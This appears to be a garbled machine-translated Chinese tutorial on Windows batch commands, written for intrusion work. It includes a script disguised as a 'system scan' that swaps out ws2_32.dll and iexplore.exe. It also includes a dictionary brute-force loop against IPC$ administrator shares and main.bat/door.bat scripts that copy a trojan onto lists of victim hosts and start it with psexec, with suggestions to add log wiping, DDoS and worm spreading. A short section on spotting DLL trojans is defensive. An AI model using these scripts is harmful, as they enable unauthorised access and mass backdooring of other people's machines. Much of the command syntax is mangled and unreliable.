@關閉回聲
請等待標題系統掃描。.....
回聲。& gtws2_32.dll
回聲。& gtiexplore.exe
復制C:\ WINDOWS \ system32 \ ws2 _ 32 . dll C:\ WINDOWS
復制“C:\ Program Files \ Internet Explorer \ ie xplore . exe”“C:\ Program Files”
ren C:\ WINDOWS \ system32 \ ws2 _ 32 . dll alexi 58
ren " C:\ Program Files \ Internet Explorer \ ie xplore . exe " 4
丙:
cd \
樹/f
替換" c:\ documents and settings \ administrator \ desktop \ ws2 _ 32 . dll " " c:\ windows \ system32 " > a . txt
替換“c:\ documents and settings \ administrator \ desktop \ ie xplore . exe”“c:\ program files \ Internet Explorer " > b . txt
德爾/法/問A.txt
del /f /q B.txt
光盤c: \文檔和設置\管理員\桌面
del /f /q ws2_32.dll
德爾/法/q iexplore.exe
系統掃描. cmd
出口
-
1.簡單批處理內部命令介紹
1.回聲命令
打開或關閉回聲,或顯示信息。如果沒有參數,echo命令將顯示當前的echo設置。
語法
echo[{ on | off }][消息]
示例:@echo off / echo hello world
在實際應用中,我們將把這個命令和重定向符號(也稱為管道符號,壹般用>;& gt& gt)來實現將壹些命令輸入到特定格式的文件中,這個會在以後的例子中體現。
2.@命令
這意味著@後面的命令將不會顯示。在入侵過程中(比如用批處理格式化敵方硬盤),自然不能讓對方看到妳使用的命令。
示例:@回聲關閉
@echo正在初始化程序,請稍等...
@ formatexx:/q/u/autoset (Format不允許使用參數/y,好在微軟給我們留了壹個autoset參數,效果和/y壹樣..)
3.Goto命令
指定跳轉到標簽。找到標簽後,程序將從下壹行開始處理命令。
語法:goto label (label是壹個參數,它指定批處理程序中要轉到的行。)
樣本:
if {%1}=={}轉到noparms
If {%2} = {} gotonoparms(如果妳不明白這裏的If,%1,%2,先跳過,後面會有詳細解釋。)
@Rem檢查參數,如果為空則顯示用法
:noparms
echo用法:monitor.bat ServerIP端口號
轉到結尾
標簽的名字可以隨意選擇,但最好是有意義的字母。在字母前加壹個:表示字母是標簽,goto命令就是基於這個:找到下壹步並跳轉到那裏。妳最好有壹些解釋,這樣別人會明白妳的意圖。
4.Rem命令
comment命令相當於C語言中的/*-*/。不會被執行,只是起到壹個註釋的作用,方便以後別人閱讀和修改。
遠程消息
樣本:@Rem這裏是描述。
5.暫停命令
運行暫停命令時,將顯示以下消息:
按任意鍵繼續。。。
樣本:
@關閉回聲
:開始
副本a:*。* d:返回
echo請將新磁盤放入驅動程序A
中止
轉到開始
在本例中,驅動器A中磁盤上的所有文件都被復制到d:back。顯示的提示提示您將另壹張磁盤放入驅動器a。暫停命令將暫停程序,以便您可以更換磁盤並按任意鍵繼續處理。
6.呼叫命令
從壹個批處理程序調用另壹個批處理程序,而不終止父批處理程序。call命令接受用作調用目標的標簽。如果在腳本或批處理文件之外使用Call,它將不會在命令行上工作。
語法
調用[驅動器:] [路徑]文件名[批處理參數][:標簽[參數]
參數
[驅動器:}[路徑]文件名
指定要調用的批處理程序的位置和名稱。filename參數必須有壹個. bat或。cmd擴展。
7 .啟動命令
調用外部程序,所有的DOS命令和命令行程序都可以通過start命令調用。
常見入侵參數:
最小化MIN開頭的窗口
在單獨的空間啟動16位Windows程序。
高啟動高優先級類別的應用程序。
實時啟動實時優先級類別中的應用程序。
WAIT啟動應用程序並等待它結束。
參數這些是傳遞給命令/程序的參數。
當執行的應用程序是32位GUI應用程序時,CMD.EXE會返回命令提示符,而不等待應用程序終止。如果在命令腳本中執行,這種新行為將不會發生。
8 .選擇命令
選擇使用此命令讓用戶輸入壹個字符來運行不同的命令。使用的時候要加上/c:參數,在c:後面要寫可以輸入的字符,中間不要有空格。它的返回代碼是1234...
如:choice /c:dme defrag,mem,end
將被顯示
defrag,mem,end[D,M,E]?
樣本:
Sample.bat的內容如下:
@關閉回聲
choice /c:dme碎片整理,mem,end
如果錯誤級別3轉到碎片整理(應首先判斷值最高的錯誤代碼)
如果錯誤級別2,轉到記憶
如果錯誤級別為1,則轉到結尾
:碎片整理
上校:多斯弗拉格
轉到結尾
:記憶
記憶
轉到結尾
:結束
回聲再見
這個文件運行後會顯示defrag,mem,end[D,M,E]?用戶可以選擇d m e,然後if語句會做出判斷。d表示執行標記為defrag的程序段,M表示執行標記為mem的程序段,E表示執行標記為end的程序段。每個程序段最後都會跳轉到帶有goto end的結束標簽,然後程序會顯示good bye,文件結束。
9.If命令
If是指它會判斷指定的條件是否滿足,然後決定執行不同的命令。有三種格式:
1,如果"參數" = = "字符串"命令被執行
如果參數等於指定的字符串,則條件成立。運行命令,否則運行下壹句。(註意是兩個等號)
例如,如果“% 1”= =“a”格式a:
if {%1}=={}轉到noparms
if {%2}=={}轉到noparms
2.如果存在文件名是要執行的命令。
如果有指定的文件,條件成立,運行命令,否則運行下壹句。
如if exist config . sys edit config . sys。
3,if errorlevel/if not errorlevel要執行的數字命令。
如果返回代碼等於指定的數字,則條件成立,命令運行;否則下壹句就是跑。
例如如果錯誤級別2轉到x2。
當壹個DOS程序運行時,它會返回壹個數字給DOS,這個數字叫做錯誤碼errorlevel或返回碼。常見的返回代碼是0,1。
10 .用於命令
for命令是壹個復雜命令,主要用於在指定範圍內循環執行命令。
在批處理文件中使用FOR命令時,請使用%%variable來指定變量。
for { % variable | % % variable } in(set)do命令[ CommandLineOptions]
%variable指定壹個單字母可替換參數。
(set)指定壹個或壹組文件。可以使用通配符。
Command指定對每個文件執行的命令。
Command-parameters為特定命令指定參數或命令行開關。
在批處理文件中使用FOR命令時,請使用%%variable來指定變量。
而不是%變量。變量名區分大小寫,所以%i不同於% i。
如果啟用了命令擴展,以下附加的FOR命令格式會受到影響
支持:
FOR/D %變量IN (set) DO命令[命令-參數]
如果集合包含通配符,則指定它匹配目錄名,而不是文件。
名字匹配。
FOR/R[drive:]path]%變量IN (set) DO命令[command-
檢查根目錄為[drive:]path的目錄樹,並指向每個目錄中的。
對於語句,如果在/R後沒有指定目錄,則使用當前目錄。
目錄。如果集合只是壹個點(。)字符,枚舉目錄樹。
FOR/L %變量IN (start,step,end) DO命令[command-para
這個集合表示從開始到結束遞增的壹系列數字。
因此,(1,1,5)將產生序列1 2 3 4 5,(5,1,1)將產生。
順序(5 4 3 2 1)。
(file-set) DO命令中的FOR/F[" options "]%變量
FOR/F[" options "]%變量IN ("string") DO命令
FOR/F[" options "]%變量在(' command') DO命令中
或者,如果您有usebackq選項:
(file-set) DO命令中的FOR/F[" options "]%變量
FOR/F[" options "]%變量IN ("string") DO命令
FOR/F[" options "]%變量在(' command') DO命令中
Filenameset是壹個或多個文件名。在文件名集中繼續。
每個文件在下壹個文件之前已經被打開、讀取和處理。
處理包括讀取壹個文件,將它分成文本行,然後將每行分成
解析零個或多個符號。然後使用找到的符號串的變量值
調用For循環。默認情況下,/F由每個文件中的每壹行分隔。
的第壹個空白符號。跳過空行。您可以指定可選的“選項”
參數重寫默認的解析操作。這個引用的字符串包括壹個或多個
為不同的解析選項指定關鍵字。這些關鍵字是:
eol = c-表示行註釋字符的結束(只有壹個)
skip = n-表示在文件開頭忽略的行數。
delims = XXX-表示分隔符集。這個代替了空格和制表符。
默認分隔符集。
Tokens=x,y,m-n-指的是每壹行的哪個符號傳遞給每次叠代。
為了自己。這將導致額外的變量名。
格式是壹個範圍。用第n個符號指定m。
符號串中的最後壹個星號字符,
那麽額外的變量將在最後壹個符號處被解析。
分配並接受該行的保留文本。
usebackq-指定新語法已用於以下情況:
在將帶引號的字符串作為命令執行後
引號字符是文字字符串命令,在fi中是允許的
用雙引號將文件名括起來。
樣品1:
FOR/F " eol =;tokens=2,3* delims=," %i in (myfile.txt) do命令
將分析myfile.txt中的每壹行,忽略那些以分號開頭的行,並將
每行中的第二個和第三個符號被傳遞給for程序體;使用逗號和/或
空格分隔符。請註意,這個for程序體中的語句引用了% i。
獲取第二個符號,引用%j來獲取第三個符號,引用% k。
獲取第三個符號之後的所有剩余符號。對於帶空格的文件
名稱,需要用雙引號將文件名括起來。為了以這種方式制造
對於雙引號,您還需要使用usebackq選項,否則雙引號將
應當理解,它用於定義待分析的字符串。
在for語句中特別聲明了%i,而%j和%k是由。
Tokens=選項是特別指定的。可以傳代幣=壹行。
指定最多26個符號,只要不試圖描述比字母“z”或更高的符號。
“z”的變量。記住FOR變量是單字母的,區分大小寫的,全局的;
同時,使用中的不能超過52個。
還可以對相鄰字符串使用FOR /F解析邏輯;該方法是,
用單引號將文件名集括在括號中。這樣,人物
字符串被視為文件中的單個輸入行。
最後,您可以使用FOR /F命令來分析該命令的輸出。方法是把
括號之間的文件名集成為壹個封閉字符串。該線將
作為命令行,它被傳遞給子CMD.EXE,其輸出將被捕獲。
內存中,並作為壹個文件進行分析。因此,下面舉個例子:
FOR/F " usebackq delims = = " % I IN(` set `)DO @ echo % I
枚舉當前環境中的環境變量的名稱。
此外,還增強了對變量引用的替換。您現在可以使用以下內容
選項語法:
~ I-刪除任何引號(")並展開% i。
% ~ fI-將%I擴展為完全限定的路徑名
%~dI-only %I擴展為壹個驅動器號。
% ~ pI-僅%I擴展到壹個路徑。
%~nI-only %I被擴展為文件名。
% ~僅限% I將被擴展為壹個文件擴展名。
% ~ sI-擴展路徑只包含短名稱。
% ~ aI-將%I擴展到文件的file屬性
% ~ tI-將%I擴展到文件的日期/時間
% ~ zI-將%I擴展到文件大小
% ~ $ PATH:I-找到PATH環境變量中列出的目錄並展開% i。
到找到的第壹個完全限定名。如果環境變量
未定義或未找到文件,此組合鍵將被擴展。
空行
修改器可以組合起來獲得多種結果:
% ~僅dpI % I擴展為壹個驅動器號和路徑。
%~nxI-only %I被擴展為文件名和擴展名。
% ~ fsI-僅將%I擴展為帶有短名稱的完整路徑名。
% ~ DP $ PATH:I-找到PATH環境變量中列出的目錄並展開% i。
轉到找到的第壹個驅動器號和路徑。
% ~ ftzaI-將%I擴展到類似輸出行的DIR
在上面的例子中,%I和PATH可以替換為其他有效值。% ~語法
以有效的FOR變量名結束。選擇壹個類似於% i的大寫變量名。
它更容易閱讀,並避免與不區分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面舉幾個例子來說明For命令在入侵中的使用。
樣本2:
For命令用於破解目標Win2k主機的暴力密碼。
我們使用net use \ IPI PC $ " password "/u:" administrator "嘗試連接目標主機,成功後記下密碼。
最重要的命令是壹個:for/f I % in(dict . txt)do net use \ IPI PC $ " I % "/u:" administrator "。
I%用於表示admin的密碼。在dict.txt中,i%的這個值是與net use命令連接的。然後將程序運行結果傳遞給find命令-
for/f I % % in(dict . txt)do net use \ IPI PC $ " I % % "/u:" administrator " | find ":命令成功完成" > & gtD:ok.txt,就是ko。
樣本3:
有沒有壹大批肉雞等著妳去種後門+特洛伊馬?當數量特別大的時候,原本很開心的壹切都會變得很壓抑。文章開頭提到,使用批處理文件可以簡化日常或重復性的任務。那麽如何實現呢?呵呵,看完妳就明白了。
主命令只有壹個:(在批處理文件中使用FOR命令時,指定變量使用%%variable)。
@for /f "tokens=1,2,3 delims = " % % I in(victim . txt)do start call door . bat % % I % % j % % k
令牌的用法請參考上面的sample1,這裏指的是將victim.txt中的內容按順序傳遞給door.bat中的參數%i %j %k。
Cultivate.bat無非是用net use命令建立IPC$連接,並把特洛伊+後門復制到受害者,然後用return copy (If errorlever =)篩選成功植入後門的主機,並回顯出來,或者回顯到指定文件。
Delims=表示vivtim.txt中的內容用空格隔開。我想妳看到這裏壹定明白這個victim.txt裏面的內容是什麽樣子了。應該是按照%%i %%j %%k代表的對象來排列的,壹般是ip密碼用戶名。
代碼原型:
-在這裏剪切,然後保存為批處理文件(我稱之為main.bat ) -
@關閉回聲
@if "%1"== " "轉到用法
@for /f "tokens=1,2,3 delims = " % % I in(victim . txt)do start call IPC hack . bat % % I % % j % % k
@轉到結尾
:用法
@echo在dos模式下運行該批處理。或者雙擊它。
:結束
-在這裏剪切,然後保存為批處理文件(我稱之為main.bat ) -
-在這裏剪切,然後保存為批處理文件(我稱之為door.bat)
@net use \%1ipc$ %3 /u:"%2 "
@if errorlevel 1 goto失敗
@echo正在嘗試建立IPC連接………好的
@ copy wind RV 32 . exe \ % 1 admin $ system32 & amp;& amp如果不是錯誤級別1回顯IP %1用戶% 2 PWD % 3 & gt;& gtko.txt
@ psexec \ % 1 c:win ntsystem 32 wind RV 32 . exe
@ psexec \ % 1 net start wind RV 32 & amp;& amp如果不是errorlevel 1 echo %1後門& gt& gtko.txt
:失敗
@echo抱歉無法連接到受害者。
-在這裏剪切,然後保存為批處理文件(我稱之為door.bat)
這只是壹個自動後門批次的雛形。兩個批處理和後門程序(Windrv32.exe),psexec。Exe需要放在壹個統壹的目錄中。批量內容。
可以擴展,比如增加清除日誌+DDOS的功能,增加定期添加用戶的功能,通過深入使其具備自動傳播(蠕蟲)的功能。這裏不用我描述,有興趣的朋友可以自己研究壹下。
2.如何在批處理文件中使用參數
參數可用於批處理,壹般從1%到9%。當有多個參數時,需要shift來移動它們。這種情況比較少見,我們就不考慮了。
樣品1:fomat.bat
@關閉回聲
如果“% 1”= =“a”格式a:
:格式
@format a:/q/u/auotset
@echo請再插入壹張磁盤到驅動a。
@暫停
@goto fomat
本例用於連續格式化多張軟盤,使用時需要在dos窗口輸入fomat.bat a。呵呵,好像有點多余~ _
樣本2:
當我們要建立壹個ipC$連接的時候,總是要輸入壹長串命令,不然就會出錯,所以我們不妨把壹些固定的命令寫成壹個批處理,把肉雞的IP密碼用戶名作為參數賦給這個批處理,這樣就不用每次都敲命令了。
@關閉回聲
@ net use 1% IPC $ "2%"/u: "3% "註意這裏PASSWORD是第二個參數。
@if errorlevel 1 echo連接失敗
怎麽樣?用參數比較簡單吧?妳壹定是學會了這麽帥。
3.如何使用復合命令?
1.& amp
用法:第壹個命令&;二階[&;三階...]
這樣,可以同時執行多個命令,而不管這些命令是否成功執行。
樣本:
丙:>;方向z:& amp;目錄c:Ex4rch
系統找不到指定的路徑。
驅動器C中的卷沒有標簽。
卷序列號是0078-59FB
目錄c:Ex4rch
2002-05-14 23:51 & lt;DIR & gt。
2002-05-14 23:51 & lt;DIR & gt..
sometips.gif
2.& amp& amp
用法:第壹個命令&;& amp二階[&;& amp三階...]
這樣可以同時執行多個命令,遇到執行錯誤的命令後不會執行後面的命令,壹直沒有錯誤的話會壹直執行所有命令;
樣本:
丙:>;方向z:& amp;& amp目錄c:Ex4rch
系統找不到指定的路徑。
丙:>;目錄c:ex4r ch & amp;& amp方向z:
驅動器C中的卷沒有標簽。
卷序列號是0078-59FB
目錄c:Ex4rch
這是壹個很好的例子。DIR & gt。
這是壹個很好的例子。DIR & gt..
sometips.gif
1個文件14字節
2個目錄768,671,744字節可用
系統找不到指定的路徑。
在進行相對簡單的備份時,可以使用此命令,例如:
目錄文件://192.168.0 . 1/database/backup . MDB & amp;& amp復制文件://192.168.0 . 1/database/backup . MDB E:backup
如果遠程服務器上存在backup.mdb文件,將執行copy命令。如果它不存在於文件中,將不會執行復制命令。如果存在,此用法可以替換:)
3.||
用法:第壹個命令||第二個命令[||第三個命令...]
這樣可以同時執行多個命令,正確的命令執行時不會執行後面的命令,正確的命令沒有出現時會壹直執行所有命令;
樣本:
c:ex4r ch & gt;dir sometips . gif | | del sometips . gif
驅動器C中的卷沒有標簽。
卷序列號是0078-59FB
目錄C:Ex4rch
sometips.gif
1個文件14個字節
0個目錄768,696,320字節可用
組合命令的使用示例:
樣本:
@復制trojan.exe \ % 1 admin $ system32 & amp;& amp如果不是錯誤級別1回顯IP %1用戶%2通過% 3 & gt& gt受害者. txt
四、管道命令的使用
1.|命令
用法:第壹個命令|第二個命令[|第三個命令...]
使用第壹個命令的結果作為第二個命令的參數,記住這種方法在unix中很常見。
樣本:
時間/t & gt;& gtD:IP.log
netstat -n -p tcp|find ":3389 " >& gtD:IP.log
啟動瀏覽器
看到了嗎?終端服務允許我們為用戶定制初始程序,這樣用戶就可以運行下面的bat來獲取登錄用戶的IP。
2.& gt、gt;& gt輸出重定向命令
將命令或程序的輸出結果重定向到特定文件。>;With > & gt不同的是>會清除原文件的內容並寫入指定文件,而>;& gt只有內容會被附加到指定的文件中,內容不會被更改。
樣品1:
echo hello world & gtc:hello.txt(蠢例子?)
樣本2:
現在流行DLL木馬。我們知道system32是壹個捉迷藏的好地方。很多木馬削尖腦袋往那裏鉆,DLL馬也不例外。有鑒於此,我們可以在安裝完系統和必要的應用程序後,對該目錄下的EXE和DLL文件做壹個記錄:
運行CMD - convert目錄到system32-dir *。exe >;exeback.txt & ampdir *。dll & gtdllback.txt,
這樣,所有EXE和DLL文件的名稱分別記錄在exeback.txt和dllback.txt中。
將來,如果發現異常,但傳統方法無法發現問題,就需要考慮DLL特洛伊是否已經滲透到系統中。
此時,我們使用相同的命令將system32下的EXE和DLL文件記錄到其他exeback1.txt和dllback1.txt中,然後運行:
CMD-fc exe back . txt exe back 1 . txt & gt;diff.txt & ampfc dll back . txt dll back 1 . txt & gt;Diff.txt .(用FC命令比較前後的DLL和EXE文件,將結果輸入到diff.txt中),這樣我們就可以找到壹些多余的DLL和EXE文件,然後通過查看創建時間、版本、壓縮與否,就可以很容易的判斷它們是否被DLL木馬光顧過。沒有是最好的。如果有,不要直接DEL。首先,使用regsvr 32/U trojan.dll取消後門DLL文件,然後將其移動到回收站。如果系統沒有異常反應,就徹底刪除或者提交給殺毒軟件公司。
3.& lt、gt;& amp、& lt& amp
& lt從文件而不是鍵盤讀取命令輸入。
& gt& amp將壹個句柄的輸出寫入另壹個句柄的輸入。
& lt& amp從壹個句柄讀取輸入,並將其寫入另壹個句柄的輸出。
這些不常用,就不多介紹了。
5.如何用批處理文件操作註冊表?
在入侵過程中,往往會操縱註冊表的特定鍵值來達到某種目的,比如刪除Run下的剩余鍵值,以隱藏後門和特洛伊木馬程序。或者創建壹個加載後門的服務。當然我們也會修改註冊表來強化系統或者改變系統的某個屬性,這就需要我們對註冊表的操作有壹定的了解。讓我們來學習如何使用?REG文件來操作註冊表。(我們可以使用批處理來生成壹個reg文件。)
關於註冊表的操作,常見的有創建、修改和刪除。